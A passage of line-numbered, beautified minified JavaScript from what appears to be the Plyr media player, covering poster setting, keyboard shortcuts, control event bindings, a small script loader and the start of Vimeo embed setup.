| 3186 |
i = te("frameTitle", this.config); |
| 3187 |
t.setAttribute("title", i.replace("{title}", n)); |
| 3188 |
} |
| 3189 |
}, |
| 3190 |
togglePoster: function (e) { |
| 3191 |
L(this.elements.container, this.config.classNames.posterEnabled, e); |
| 3192 |
}, |
| 3193 |
setPoster: function (e) { |
| 3194 |
var t = this; |
| 3195 |
return (arguments.length > 1 && |
| 3196 |
void 0 !== arguments[1] && |
| 3197 |
!arguments[1]) || |
| 3198 |
!this.poster |
| 3199 |
? (this.media.setAttribute("poster", e), |
| 3200 |
function () { |
| 3201 |
var e = this; |
| 3202 |
return new Promise(function (t) { |
| 3203 |
return e.ready |
| 3204 |
? setTimeout(t, 0) |
| 3205 |
: y.call(e, e.elements.container, "ready", t); |
| 3206 |
}).then(function () {}); |
| 3207 |
} |
| 3208 |
.call(this) |
| 3209 |
.then(function () { |
| 3210 |
return Ae(e); |
| 3211 |
}) |
| 3212 |
.catch(function (n) { |
| 3213 |
throw (e === t.poster && Ee.togglePoster.call(t, !1), n); |
| 3214 |
}) |
| 3215 |
.then(function () { |
| 3216 |
if (e !== t.poster) |
| 3217 |
throw new Error( |
| 3218 |
"setPoster cancelled by later call to setPoster" |
| 3219 |
); |
| 3220 |
}) |
| 3221 |
.then(function () { |
| 3222 |
return ( |
| 3223 |
Object.assign(t.elements.poster.style, { |
| 3224 |
backgroundImage: "url('".concat(e, "')"), |
| 3225 |
backgroundSize: "", |
| 3226 |
}), |
| 3227 |
Ee.togglePoster.call(t, !0), |
| 3228 |
e |
| 3229 |
); |
| 3230 |
})) |
| 3231 |
: Promise.reject(new Error("Poster already set")); |
| 3232 |
}, |
| 3233 |
checkPlaying: function (e) { |
| 3234 |
var t = this; |
| 3235 |
L( |
| 3236 |
this.elements.container, |
| 3237 |
this.config.classNames.playing, |
| 3238 |
this.playing |
| 3239 |
), |
| 3240 |
L( |
| 3241 |
this.elements.container, |
| 3242 |
this.config.classNames.paused, |
| 3243 |
this.paused |
| 3244 |
), |
| 3245 |
L( |
| 3246 |
this.elements.container, |
| 3247 |
this.config.classNames.stopped, |
| 3248 |
this.stopped |
| 3249 |
), |
| 3250 |
Array.from(this.elements.buttons.play || []).forEach(function (e) { |
| 3251 |
e.pressed = t.playing; |
| 3252 |
}), |
| 3253 |
(m.event(e) && "timeupdate" === e.type) || |
| 3254 |
Ee.toggleControls.call(this); |
| 3255 |
}, |
| 3256 |
checkLoading: function (e) { |
| 3257 |
var t = this; |
| 3258 |
(this.loading = ["stalled", "waiting"].includes(e.type)), |
| 3259 |
clearTimeout(this.timers.loading), |
| 3260 |
(this.timers.loading = setTimeout( |
| 3261 |
function () { |
| 3262 |
L(t.elements.container, t.config.classNames.loading, t.loading), |
| 3263 |
Ee.toggleControls.call(t); |
| 3264 |
}, |
| 3265 |
this.loading ? 250 : 0 |
| 3266 |
)); |
| 3267 |
}, |
| 3268 |
toggleControls: function (e) { |
| 3269 |
var t = this.elements.controls; |
| 3270 |
if (t && this.config.hideControls) { |
| 3271 |
var n = this.touch && this.lastSeekTime + 2e3 > Date.now(); |
| 3272 |
this.toggleControls( |
| 3273 |
Boolean( |
| 3274 |
e || this.loading || this.paused || t.pressed || t.hover || n |
| 3275 |
) |
| 3276 |
); |
| 3277 |
} |
| 3278 |
}, |
| 3279 |
}, |
| 3280 |
Pe = (function () { |
| 3281 |
function t(n) { |
| 3282 |
e(this, t), |
| 3283 |
(this.player = n), |
| 3284 |
(this.lastKey = null), |
| 3285 |
(this.focusTimer = null), |
| 3286 |
(this.lastKeyDown = null), |
| 3287 |
(this.handleKey = this.handleKey.bind(this)), |
| 3288 |
(this.toggleMenu = this.toggleMenu.bind(this)), |
| 3289 |
(this.setTabFocus = this.setTabFocus.bind(this)), |
| 3290 |
(this.firstTouch = this.firstTouch.bind(this)); |
| 3291 |
} |
| 3292 |
return ( |
| 3293 |
n(t, [ |
| 3294 |
{ |
| 3295 |
key: "handleKey", |
| 3296 |
value: function (e) { |
| 3297 |
var t = this.player, |
| 3298 |
n = t.elements, |
| 3299 |
i = e.keyCode ? e.keyCode : e.which, |
| 3300 |
a = "keydown" === e.type, |
| 3301 |
s = a && i === this.lastKey; |
| 3302 |
if ( |
| 3303 |
!(e.altKey || e.ctrlKey || e.metaKey || e.shiftKey) && |
| 3304 |
m.number(i) |
| 3305 |
) { |
| 3306 |
if (a) { |
| 3307 |
var o = document.activeElement; |
| 3308 |
if (m.element(o)) { |
| 3309 |
var r = t.config.selectors.editable; |
| 3310 |
if (o !== n.inputs.seek && I(o, r)) return; |
| 3311 |
if (32 === e.which && I(o, 'button, [role^="menuitem"]')) |
| 3312 |
return; |
| 3313 |
} |
| 3314 |
switch ( |
| 3315 |
([ |
| 3316 |
32, 37, 38, 39, 40, 48, 49, 50, 51, 52, 53, 54, 56, 57, |
| 3317 |
67, 70, 73, 75, 76, 77, 79, |
| 3318 |
].includes(i) && |
| 3319 |
(e.preventDefault(), e.stopPropagation()), |
| 3320 |
i) |
| 3321 |
) { |
| 3322 |
case 48: |
| 3323 |
case 49: |
| 3324 |
case 50: |
| 3325 |
case 51: |
| 3326 |
case 52: |
| 3327 |
case 53: |
| 3328 |
case 54: |
| 3329 |
case 55: |
| 3330 |
case 56: |
| 3331 |
case 57: |
| 3332 |
s || (t.currentTime = (t.duration / 10) * (i - 48)); |
| 3333 |
break; |
| 3334 |
case 32: |
| 3335 |
case 75: |
| 3336 |
s || t.togglePlay(); |
| 3337 |
break; |
| 3338 |
case 38: |
| 3339 |
t.increaseVolume(0.1); |
| 3340 |
break; |
| 3341 |
case 40: |
| 3342 |
t.decreaseVolume(0.1); |
| 3343 |
break; |
| 3344 |
case 77: |
| 3345 |
s || (t.muted = !t.muted); |
| 3346 |
break; |
| 3347 |
case 39: |
| 3348 |
t.forward(); |
| 3349 |
break; |
| 3350 |
case 37: |
| 3351 |
t.rewind(); |
| 3352 |
break; |
| 3353 |
case 70: |
| 3354 |
t.fullscreen.toggle(); |
| 3355 |
break; |
| 3356 |
case 67: |
| 3357 |
s || t.toggleCaptions(); |
| 3358 |
break; |
| 3359 |
case 76: |
| 3360 |
t.loop = !t.loop; |
| 3361 |
} |
| 3362 |
!t.fullscreen.enabled && |
| 3363 |
t.fullscreen.active && |
| 3364 |
27 === i && |
| 3365 |
t.fullscreen.toggle(), |
| 3366 |
(this.lastKey = i); |
| 3367 |
} else this.lastKey = null; |
| 3368 |
} |
| 3369 |
}, |
| 3370 |
}, |
| 3371 |
{ |
| 3372 |
key: "toggleMenu", |
| 3373 |
value: function (e) { |
| 3374 |
ce.toggleMenu.call(this.player, e); |
| 3375 |
}, |
| 3376 |
}, |
| 3377 |
{ |
| 3378 |
key: "firstTouch", |
| 3379 |
value: function () { |
| 3380 |
var e = this.player, |
| 3381 |
t = e.elements; |
| 3382 |
(e.touch = !0), L(t.container, e.config.classNames.isTouch, !0); |
| 3383 |
}, |
| 3384 |
}, |
| 3385 |
{ |
| 3386 |
key: "setTabFocus", |
| 3387 |
value: function (e) { |
| 3388 |
var t = this.player, |
| 3389 |
n = t.elements; |
| 3390 |
if ( |
| 3391 |
(clearTimeout(this.focusTimer), |
| 3392 |
"keydown" !== e.type || 9 === e.which) |
| 3393 |
) { |
| 3394 |
"keydown" === e.type && (this.lastKeyDown = e.timeStamp); |
| 3395 |
var i, |
| 3396 |
a = e.timeStamp - this.lastKeyDown <= 20; |
| 3397 |
if ("focus" !== e.type || a) |
| 3398 |
(i = t.config.classNames.tabFocus), |
| 3399 |
L(_.call(t, ".".concat(i)), i, !1), |
| 3400 |
(this.focusTimer = setTimeout(function () { |
| 3401 |
var e = document.activeElement; |
| 3402 |
n.container.contains(e) && |
| 3403 |
L( |
| 3404 |
document.activeElement, |
| 3405 |
t.config.classNames.tabFocus, |
| 3406 |
!0 |
| 3407 |
); |
| 3408 |
}, 10)); |
| 3409 |
} |
| 3410 |
}, |
| 3411 |
}, |
| 3412 |
{ |
| 3413 |
key: "global", |
| 3414 |
value: function () { |
| 3415 |
var e = |
| 3416 |
!(arguments.length > 0 && void 0 !== arguments[0]) || |
| 3417 |
arguments[0], |
| 3418 |
t = this.player; |
| 3419 |
t.config.keyboard.global && |
| 3420 |
g.call(t, window, "keydown keyup", this.handleKey, e, !1), |
| 3421 |
g.call(t, document.body, "click", this.toggleMenu, e), |
| 3422 |
b.call(t, document.body, "touchstart", this.firstTouch), |
| 3423 |
g.call( |
| 3424 |
t, |
| 3425 |
document.body, |
| 3426 |
"keydown focus blur", |
| 3427 |
this.setTabFocus, |
| 3428 |
e, |
| 3429 |
!1, |
| 3430 |
!0 |
| 3431 |
); |
| 3432 |
}, |
| 3433 |
}, |
| 3434 |
{ |
| 3435 |
key: "container", |
| 3436 |
value: function () { |
| 3437 |
var e = this.player, |
| 3438 |
t = e.elements; |
| 3439 |
!e.config.keyboard.global && |
| 3440 |
e.config.keyboard.focused && |
| 3441 |
y.call(e, t.container, "keydown keyup", this.handleKey, !1), |
| 3442 |
y.call( |
| 3443 |
e, |
| 3444 |
t.container, |
| 3445 |
"mousemove mouseleave touchstart touchmove enterfullscreen exitfullscreen", |
| 3446 |
function (n) { |
| 3447 |
var i = t.controls; |
| 3448 |
i && |
| 3449 |
"enterfullscreen" === n.type && |
| 3450 |
((i.pressed = !1), (i.hover = !1)); |
| 3451 |
var a = 0; |
| 3452 |
["touchstart", "touchmove", "mousemove"].includes( |
| 3453 |
n.type |
| 3454 |
) && |
| 3455 |
(Ee.toggleControls.call(e, !0), |
| 3456 |
(a = e.touch ? 3e3 : 2e3)), |
| 3457 |
clearTimeout(e.timers.controls), |
| 3458 |
(e.timers.controls = setTimeout(function () { |
| 3459 |
return Ee.toggleControls.call(e, !1); |
| 3460 |
}, a)); |
| 3461 |
} |
| 3462 |
); |
| 3463 |
}, |
| 3464 |
}, |
| 3465 |
{ |
| 3466 |
key: "media", |
| 3467 |
value: function () { |
| 3468 |
var e = this.player, |
| 3469 |
t = e.elements; |
| 3470 |
if ( |
| 3471 |
(y.call( |
| 3472 |
e, |
| 3473 |
e.media, |
| 3474 |
"timeupdate seeking seeked", |
| 3475 |
function (t) { |
| 3476 |
return ce.timeUpdate.call(e, t); |
| 3477 |
} |
| 3478 |
), |
| 3479 |
y.call( |
| 3480 |
e, |
| 3481 |
e.media, |
| 3482 |
"durationchange loadeddata loadedmetadata", |
| 3483 |
function (t) { |
| 3484 |
return ce.durationUpdate.call(e, t); |
| 3485 |
} |
| 3486 |
), |
| 3487 |
y.call(e, e.media, "canplay loadeddata", function () { |
| 3488 |
N(t.volume, !e.hasAudio), N(t.buttons.mute, !e.hasAudio); |
| 3489 |
}), |
| 3490 |
y.call(e, e.media, "ended", function () { |
| 3491 |
e.isHTML5 && |
| 3492 |
e.isVideo && |
| 3493 |
e.config.resetOnEnd && |
| 3494 |
e.restart(); |
| 3495 |
}), |
| 3496 |
y.call( |
| 3497 |
e, |
| 3498 |
e.media, |
| 3499 |
"progress playing seeking seeked", |
| 3500 |
function (t) { |
| 3501 |
return ce.updateProgress.call(e, t); |
| 3502 |
} |
| 3503 |
), |
| 3504 |
y.call(e, e.media, "volumechange", function (t) { |
| 3505 |
return ce.updateVolume.call(e, t); |
| 3506 |
}), |
| 3507 |
y.call( |
| 3508 |
e, |
| 3509 |
e.media, |
| 3510 |
"playing play pause ended emptied timeupdate", |
| 3511 |
function (t) { |
| 3512 |
return Ee.checkPlaying.call(e, t); |
| 3513 |
} |
| 3514 |
), |
| 3515 |
y.call( |
| 3516 |
e, |
| 3517 |
e.media, |
| 3518 |
"waiting canplay seeked playing", |
| 3519 |
function (t) { |
| 3520 |
return Ee.checkLoading.call(e, t); |
| 3521 |
} |
| 3522 |
), |
| 3523 |
y.call(e, e.media, "playing", function () { |
| 3524 |
e.ads && |
| 3525 |
e.ads.enabled && |
| 3526 |
!e.ads.initialized && |
| 3527 |
e.ads.managerPromise |
| 3528 |
.then(function () { |
| 3529 |
return e.ads.play(); |
| 3530 |
}) |
| 3531 |
.catch(function () { |
| 3532 |
return e.play(); |
| 3533 |
}); |
| 3534 |
}), |
| 3535 |
e.supported.ui && e.config.clickToPlay && !e.isAudio) |
| 3536 |
) { |
| 3537 |
var n = j.call(e, ".".concat(e.config.classNames.video)); |
| 3538 |
if (!m.element(n)) return; |
| 3539 |
y.call(e, t.container, "click", function (i) { |
| 3540 |
([t.container, n].includes(i.target) || |
| 3541 |
n.contains(i.target)) && |
| 3542 |
((e.touch && e.config.hideControls) || |
| 3543 |
(e.ended ? (e.restart(), e.play()) : e.togglePlay())); |
| 3544 |
}); |
| 3545 |
} |
| 3546 |
e.supported.ui && |
| 3547 |
e.config.disableContextMenu && |
| 3548 |
y.call( |
| 3549 |
e, |
| 3550 |
t.wrapper, |
| 3551 |
"contextmenu", |
| 3552 |
function (e) { |
| 3553 |
e.preventDefault(); |
| 3554 |
}, |
| 3555 |
!1 |
| 3556 |
), |
| 3557 |
y.call(e, e.media, "volumechange", function () { |
| 3558 |
e.storage.set({ volume: e.volume, muted: e.muted }); |
| 3559 |
}), |
| 3560 |
y.call(e, e.media, "ratechange", function () { |
| 3561 |
ce.updateSetting.call(e, "speed"), |
| 3562 |
e.storage.set({ speed: e.speed }); |
| 3563 |
}), |
| 3564 |
y.call(e, e.media, "qualitychange", function (t) { |
| 3565 |
ce.updateSetting.call(e, "quality", null, t.detail.quality); |
| 3566 |
}), |
| 3567 |
y.call(e, e.media, "ready qualitychange", function () { |
| 3568 |
ce.setDownloadLink.call(e); |
| 3569 |
}); |
| 3570 |
var i = e.config.events.concat(["keyup", "keydown"]).join(" "); |
| 3571 |
y.call(e, e.media, i, function (n) { |
| 3572 |
var i = n.detail, |
| 3573 |
a = void 0 === i ? {} : i; |
| 3574 |
"error" === n.type && (a = e.media.error), |
| 3575 |
k.call(e, t.container, n.type, !0, a); |
| 3576 |
}); |
| 3577 |
}, |
| 3578 |
}, |
| 3579 |
{ |
| 3580 |
key: "proxy", |
| 3581 |
value: function (e, t, n) { |
| 3582 |
var i = this.player, |
| 3583 |
a = i.config.listeners[n], |
| 3584 |
s = !0; |
| 3585 |
m.function(a) && (s = a.call(i, e)), |
| 3586 |
s && m.function(t) && t.call(i, e); |
| 3587 |
}, |
| 3588 |
}, |
| 3589 |
{ |
| 3590 |
key: "bind", |
| 3591 |
value: function (e, t, n, i) { |
| 3592 |
var a = this, |
| 3593 |
s = |
| 3594 |
!(arguments.length > 4 && void 0 !== arguments[4]) || |
| 3595 |
arguments[4], |
| 3596 |
o = this.player, |
| 3597 |
r = o.config.listeners[i], |
| 3598 |
l = m.function(r); |
| 3599 |
y.call( |
| 3600 |
o, |
| 3601 |
e, |
| 3602 |
t, |
| 3603 |
function (e) { |
| 3604 |
return a.proxy(e, n, i); |
| 3605 |
}, |
| 3606 |
s && !l |
| 3607 |
); |
| 3608 |
}, |
| 3609 |
}, |
| 3610 |
{ |
| 3611 |
key: "controls", |
| 3612 |
value: function () { |
| 3613 |
var e = this, |
| 3614 |
t = this.player, |
| 3615 |
n = t.elements, |
| 3616 |
i = F.isIE ? "change" : "input"; |
| 3617 |
if ( |
| 3618 |
(n.buttons.play && |
| 3619 |
Array.from(n.buttons.play).forEach(function (n) { |
| 3620 |
e.bind(n, "click", t.togglePlay, "play"); |
| 3621 |
}), |
| 3622 |
this.bind(n.buttons.restart, "click", t.restart, "restart"), |
| 3623 |
this.bind(n.buttons.rewind, "click", t.rewind, "rewind"), |
| 3624 |
this.bind( |
| 3625 |
n.buttons.fastForward, |
| 3626 |
"click", |
| 3627 |
t.forward, |
| 3628 |
"fastForward" |
| 3629 |
), |
| 3630 |
this.bind( |
| 3631 |
n.buttons.mute, |
| 3632 |
"click", |
| 3633 |
function () { |
| 3634 |
t.muted = !t.muted; |
| 3635 |
}, |
| 3636 |
"mute" |
| 3637 |
), |
| 3638 |
this.bind(n.buttons.captions, "click", function () { |
| 3639 |
return t.toggleCaptions(); |
| 3640 |
}), |
| 3641 |
this.bind( |
| 3642 |
n.buttons.download, |
| 3643 |
"click", |
| 3644 |
function () { |
| 3645 |
k.call(t, t.media, "download"); |
| 3646 |
}, |
| 3647 |
"download" |
| 3648 |
), |
| 3649 |
this.bind( |
| 3650 |
n.buttons.fullscreen, |
| 3651 |
"click", |
| 3652 |
function () { |
| 3653 |
t.fullscreen.toggle(); |
| 3654 |
}, |
| 3655 |
"fullscreen" |
| 3656 |
), |
| 3657 |
this.bind( |
| 3658 |
n.buttons.pip, |
| 3659 |
"click", |
| 3660 |
function () { |
| 3661 |
t.pip = "toggle"; |
| 3662 |
}, |
| 3663 |
"pip" |
| 3664 |
), |
| 3665 |
this.bind(n.buttons.airplay, "click", t.airplay, "airplay"), |
| 3666 |
this.bind(n.buttons.settings, "click", function (e) { |
| 3667 |
e.stopPropagation(), ce.toggleMenu.call(t, e); |
| 3668 |
}), |
| 3669 |
this.bind( |
| 3670 |
n.buttons.settings, |
| 3671 |
"keyup", |
| 3672 |
function (e) { |
| 3673 |
var n = e.which; |
| 3674 |
[13, 32].includes(n) && |
| 3675 |
(13 !== n |
| 3676 |
? (e.preventDefault(), |
| 3677 |
e.stopPropagation(), |
| 3678 |
ce.toggleMenu.call(t, e)) |
| 3679 |
: ce.focusFirstMenuItem.call(t, null, !0)); |
| 3680 |
}, |
| 3681 |
null, |
| 3682 |
!1 |
| 3683 |
), |
| 3684 |
this.bind(n.settings.menu, "keydown", function (e) { |
| 3685 |
27 === e.which && ce.toggleMenu.call(t, e); |
| 3686 |
}), |
| 3687 |
this.bind(n.inputs.seek, "mousedown mousemove", function (e) { |
| 3688 |
var t = n.progress.getBoundingClientRect(), |
| 3689 |
i = (100 / t.width) * (e.pageX - t.left); |
| 3690 |
e.currentTarget.setAttribute("seek-value", i); |
| 3691 |
}), |
| 3692 |
this.bind( |
| 3693 |
n.inputs.seek, |
| 3694 |
"mousedown mouseup keydown keyup touchstart touchend", |
| 3695 |
function (e) { |
| 3696 |
var n = e.currentTarget, |
| 3697 |
i = e.keyCode ? e.keyCode : e.which; |
| 3698 |
if (!m.keyboardEvent(e) || 39 === i || 37 === i) { |
| 3699 |
t.lastSeekTime = Date.now(); |
| 3700 |
var a = n.hasAttribute("play-on-seeked"), |
| 3701 |
s = ["mouseup", "touchend", "keyup"].includes(e.type); |
| 3702 |
a && s |
| 3703 |
? (n.removeAttribute("play-on-seeked"), t.play()) |
| 3704 |
: !s && |
| 3705 |
t.playing && |
| 3706 |
(n.setAttribute("play-on-seeked", ""), t.pause()); |
| 3707 |
} |
| 3708 |
} |
| 3709 |
), |
| 3710 |
F.isIos) |
| 3711 |
) { |
| 3712 |
var s = _.call(t, 'input[type="range"]'); |
| 3713 |
Array.from(s).forEach(function (t) { |
| 3714 |
return e.bind(t, i, function (e) { |
| 3715 |
return H(e.target); |
| 3716 |
}); |
| 3717 |
}); |
| 3718 |
} |
| 3719 |
this.bind( |
| 3720 |
n.inputs.seek, |
| 3721 |
i, |
| 3722 |
function (e) { |
| 3723 |
var n = e.currentTarget, |
| 3724 |
i = n.getAttribute("seek-value"); |
| 3725 |
m.empty(i) && (i = n.value), |
| 3726 |
n.removeAttribute("seek-value"), |
| 3727 |
(t.currentTime = (i / n.max) * t.duration); |
| 3728 |
}, |
| 3729 |
"seek" |
| 3730 |
), |
| 3731 |
this.bind( |
| 3732 |
n.progress, |
| 3733 |
"mouseenter mouseleave mousemove", |
| 3734 |
function (e) { |
| 3735 |
return ce.updateSeekTooltip.call(t, e); |
| 3736 |
} |
| 3737 |
), |
| 3738 |
F.isWebkit && |
| 3739 |
Array.from(_.call(t, 'input[type="range"]')).forEach( |
| 3740 |
function (n) { |
| 3741 |
e.bind(n, "input", function (e) { |
| 3742 |
return ce.updateRangeFill.call(t, e.target); |
| 3743 |
}); |
| 3744 |
} |
| 3745 |
), |
| 3746 |
t.config.toggleInvert && |
| 3747 |
!m.element(n.display.duration) && |
| 3748 |
this.bind(n.display.currentTime, "click", function () { |
| 3749 |
0 !== t.currentTime && |
| 3750 |
((t.config.invertTime = !t.config.invertTime), |
| 3751 |
ce.timeUpdate.call(t)); |
| 3752 |
}), |
| 3753 |
this.bind( |
| 3754 |
n.inputs.volume, |
| 3755 |
i, |
| 3756 |
function (e) { |
| 3757 |
t.volume = e.target.value; |
| 3758 |
}, |
| 3759 |
"volume" |
| 3760 |
), |
| 3761 |
this.bind(n.controls, "mouseenter mouseleave", function (e) { |
| 3762 |
n.controls.hover = !t.touch && "mouseenter" === e.type; |
| 3763 |
}), |
| 3764 |
this.bind( |
| 3765 |
n.controls, |
| 3766 |
"mousedown mouseup touchstart touchend touchcancel", |
| 3767 |
function (e) { |
| 3768 |
n.controls.pressed = ["mousedown", "touchstart"].includes( |
| 3769 |
e.type |
| 3770 |
); |
| 3771 |
} |
| 3772 |
), |
| 3773 |
this.bind(n.controls, "focusin", function () { |
| 3774 |
var n = t.config, |
| 3775 |
i = t.elements, |
| 3776 |
a = t.timers; |
| 3777 |
L(i.controls, n.classNames.noTransition, !0), |
| 3778 |
Ee.toggleControls.call(t, !0), |
| 3779 |
setTimeout(function () { |
| 3780 |
L(i.controls, n.classNames.noTransition, !1); |
| 3781 |
}, 0); |
| 3782 |
var s = e.touch ? 3e3 : 4e3; |
| 3783 |
clearTimeout(a.controls), |
| 3784 |
(a.controls = setTimeout(function () { |
| 3785 |
return Ee.toggleControls.call(t, !1); |
| 3786 |
}, s)); |
| 3787 |
}), |
| 3788 |
this.bind( |
| 3789 |
n.inputs.volume, |
| 3790 |
"wheel", |
| 3791 |
function (e) { |
| 3792 |
var n = e.webkitDirectionInvertedFromDevice, |
| 3793 |
i = a( |
| 3794 |
[e.deltaX, -e.deltaY].map(function (e) { |
| 3795 |
return n ? -e : e; |
| 3796 |
}), |
| 3797 |
2 |
| 3798 |
), |
| 3799 |
s = i[0], |
| 3800 |
o = i[1], |
| 3801 |
r = Math.sign(Math.abs(s) > Math.abs(o) ? s : o); |
| 3802 |
t.increaseVolume(r / 50); |
| 3803 |
var l = t.media.volume; |
| 3804 |
((1 === r && l < 1) || (-1 === r && l > 0)) && |
| 3805 |
e.preventDefault(); |
| 3806 |
}, |
| 3807 |
"volume", |
| 3808 |
!1 |
| 3809 |
); |
| 3810 |
}, |
| 3811 |
}, |
| 3812 |
]), |
| 3813 |
t |
| 3814 |
); |
| 3815 |
})(); |
| 3816 |
"undefined" != typeof window |
| 3817 |
? window |
| 3818 |
: "undefined" != typeof global |
| 3819 |
? global |
| 3820 |
: "undefined" != typeof self && self; |
| 3821 |
var Ce, |
| 3822 |
Se = |
| 3823 |
((function (e, t) { |
| 3824 |
e.exports = (function () { |
| 3825 |
var e = function () {}, |
| 3826 |
t = {}, |
| 3827 |
n = {}, |
| 3828 |
i = {}; |
| 3829 |
function a(e, t) { |
| 3830 |
if (e) { |
| 3831 |
var a = i[e]; |
| 3832 |
if (((n[e] = t), a)) |
| 3833 |
for (; a.length; ) a[0](e, t), a.splice(0, 1); |
| 3834 |
} |
| 3835 |
} |
| 3836 |
function s(t, n) { |
| 3837 |
t.call && (t = { success: t }), |
| 3838 |
n.length ? (t.error || e)(n) : (t.success || e)(t); |
| 3839 |
} |
| 3840 |
function o(t, n, i, a) { |
| 3841 |
var s, |
| 3842 |
r, |
| 3843 |
l = document, |
| 3844 |
c = i.async, |
| 3845 |
u = (i.numRetries || 0) + 1, |
| 3846 |
d = i.before || e, |
| 3847 |
h = t.replace(/^(css|img)!/, ""); |
| 3848 |
(a = a || 0), |
| 3849 |
/(^css!|\.css$)/.test(t) |
| 3850 |
? ((s = !0), |
| 3851 |
((r = l.createElement("link")).rel = "stylesheet"), |
| 3852 |
(r.href = h)) |
| 3853 |
: /(^img!|\.(png|gif|jpg|svg)$)/.test(t) |
| 3854 |
? ((r = l.createElement("img")).src = h) |
| 3855 |
: (((r = l.createElement("script")).src = t), |
| 3856 |
(r.async = void 0 === c || c)), |
| 3857 |
(r.onload = |
| 3858 |
r.onerror = |
| 3859 |
r.onbeforeload = |
| 3860 |
function (e) { |
| 3861 |
var l = e.type[0]; |
| 3862 |
if (s && "hideFocus" in r) |
| 3863 |
try { |
| 3864 |
r.sheet.cssText.length || (l = "e"); |
| 3865 |
} catch (e) { |
| 3866 |
18 != e.code && (l = "e"); |
| 3867 |
} |
| 3868 |
if ("e" == l && (a += 1) < u) return o(t, n, i, a); |
| 3869 |
n(t, l, e.defaultPrevented); |
| 3870 |
}), |
| 3871 |
!1 !== d(t, r) && l.head.appendChild(r); |
| 3872 |
} |
| 3873 |
function r(e, n, i) { |
| 3874 |
var r, l; |
| 3875 |
if ((n && n.trim && (r = n), (l = (r ? i : n) || {}), r)) { |
| 3876 |
if (r in t) throw "LoadJS"; |
| 3877 |
t[r] = !0; |
| 3878 |
} |
| 3879 |
!(function (e, t, n) { |
| 3880 |
var i, |
| 3881 |
a, |
| 3882 |
s = (e = e.push ? e : [e]).length, |
| 3883 |
r = s, |
| 3884 |
l = []; |
| 3885 |
for ( |
| 3886 |
i = function (e, n, i) { |
| 3887 |
if (("e" == n && l.push(e), "b" == n)) { |
| 3888 |
if (!i) return; |
| 3889 |
l.push(e); |
| 3890 |
} |
| 3891 |
--s || t(l); |
| 3892 |
}, |
| 3893 |
a = 0; |
| 3894 |
a < r; |
| 3895 |
a++ |
| 3896 |
) |
| 3897 |
o(e[a], i, n); |
| 3898 |
})( |
| 3899 |
e, |
| 3900 |
function (e) { |
| 3901 |
s(l, e), a(r, e); |
| 3902 |
}, |
| 3903 |
l |
| 3904 |
); |
| 3905 |
} |
| 3906 |
return ( |
| 3907 |
(r.ready = function (e, t) { |
| 3908 |
return ( |
| 3909 |
(function (e, t) { |
| 3910 |
e = e.push ? e : [e]; |
| 3911 |
var a, |
| 3912 |
s, |
| 3913 |
o, |
| 3914 |
r = [], |
| 3915 |
l = e.length, |
| 3916 |
c = l; |
| 3917 |
for ( |
| 3918 |
a = function (e, n) { |
| 3919 |
n.length && r.push(e), --c || t(r); |
| 3920 |
}; |
| 3921 |
l--; |
| 3922 |
|
| 3923 |
) |
| 3924 |
(s = e[l]), |
| 3925 |
(o = n[s]) ? a(s, o) : (i[s] = i[s] || []).push(a); |
| 3926 |
})(e, function (e) { |
| 3927 |
s(t, e); |
| 3928 |
}), |
| 3929 |
r |
| 3930 |
); |
| 3931 |
}), |
| 3932 |
(r.done = function (e) { |
| 3933 |
a(e, []); |
| 3934 |
}), |
| 3935 |
(r.reset = function () { |
| 3936 |
(t = {}), (n = {}), (i = {}); |
| 3937 |
}), |
| 3938 |
(r.isDefined = function (e) { |
| 3939 |
return e in t; |
| 3940 |
}), |
| 3941 |
r |
| 3942 |
); |
| 3943 |
})(); |
| 3944 |
})((Ce = { exports: {} }), Ce.exports), |
| 3945 |
Ce.exports); |
| 3946 |
function Me(e) { |
| 3947 |
return new Promise(function (t, n) { |
| 3948 |
Se(e, { success: t, error: n }); |
| 3949 |
}); |
| 3950 |
} |
| 3951 |
function Ne(e) { |
| 3952 |
e && !this.embed.hasPlayed && (this.embed.hasPlayed = !0), |
| 3953 |
this.media.paused === e && |
| 3954 |
((this.media.paused = !e), |
| 3955 |
k.call(this, this.media, e ? "play" : "pause")); |
| 3956 |
} |
| 3957 |
var Le = { |
| 3958 |
setup: function () { |
| 3959 |
var e = this; |
| 3960 |
L(this.elements.wrapper, this.config.classNames.embed, !0), |
| 3961 |
Le.setAspectRatio.call(this), |
| 3962 |
m.object(window.Vimeo) |
| 3963 |
? Le.ready.call(this) |
| 3964 |
: Me(this.config.urls.vimeo.sdk) |
| 3965 |
.then(function () { |
| 3966 |
Le.ready.call(e); |
| 3967 |
}) |
| 3968 |
.catch(function (t) { |
| 3969 |
e.debug.warn("Vimeo API failed to load", t); |
| 3970 |
}); |
| 3971 |
}, |
| 3972 |
setAspectRatio: function (e) { |
| 3973 |
var t = a( |
| 3974 |
(m.string(e) ? e : this.config.ratio).split(":").map(Number), |
| 3975 |
2 |
| 3976 |
), |
| 3977 |
n = (100 / t[0]) * t[1]; |
| 3978 |
if ( |
| 3979 |
((Le.padding = n), |
| 3980 |
(this.elements.wrapper.style.paddingBottom = "".concat(n, "%")), |
| 3981 |
this.supported.ui) |
| 3982 |
) { |
| 3983 |
var i = (240 - n) / 4.8; |
| 3984 |
this.media.style.transform = "translateY(-".concat(i, "%)"); |
| 3985 |
} |
| 3986 |
}, |
| 3987 |
ready: function () { |
| 3988 |
var e = this, |
| 3989 |
t = this, |
| 3990 |
n = de({ |
| 3991 |
loop: t.config.loop.active, |
| 3992 |
autoplay: t.autoplay, |
| 3993 |
byline: !1, |
| 3994 |
portrait: !1, |
| 3995 |
title: !1, |
| 3996 |
speed: !0, |
| 3997 |
transparent: 0, |
| 3998 |
gesture: "media", |
| 3999 |
playsinline: !this.config.fullscreen.iosNative, |
| 4000 |
}), |
| 4001 |
i = t.media.getAttribute("src"); |
| 4002 |
m.empty(i) && (i = t.media.getAttribute(t.config.attributes.embed.id)); |
| 4003 |
var s, |
| 4004 |
o = |
| 4005 |
((s = i), |
| 4006 |
m.empty(s) |
| 4007 |
? null |
| 4008 |
: m.number(Number(s)) |
| 4009 |
? s |
| 4010 |
: s.match(/^.*(vimeo.com\/|video\/)(\d+).*/) |
| 4011 |
? RegExp.$2 |
| 4012 |
: s), |
| 4013 |
r = A("iframe"), |
| 4014 |
l = Q(t.config.urls.vimeo.iframe, o, n); |
| 4015 |
r.setAttribute("src", l), |
| 4016 |
r.setAttribute("allowfullscreen", ""), |
| 4017 |
r.setAttribute("allowtransparency", ""), |
| 4018 |
r.setAttribute("allow", "autoplay"); |
| 4019 |
var c = A("div", { |
| 4020 |
poster: t.poster, |
| 4021 |
class: t.config.classNames.embedContainer, |
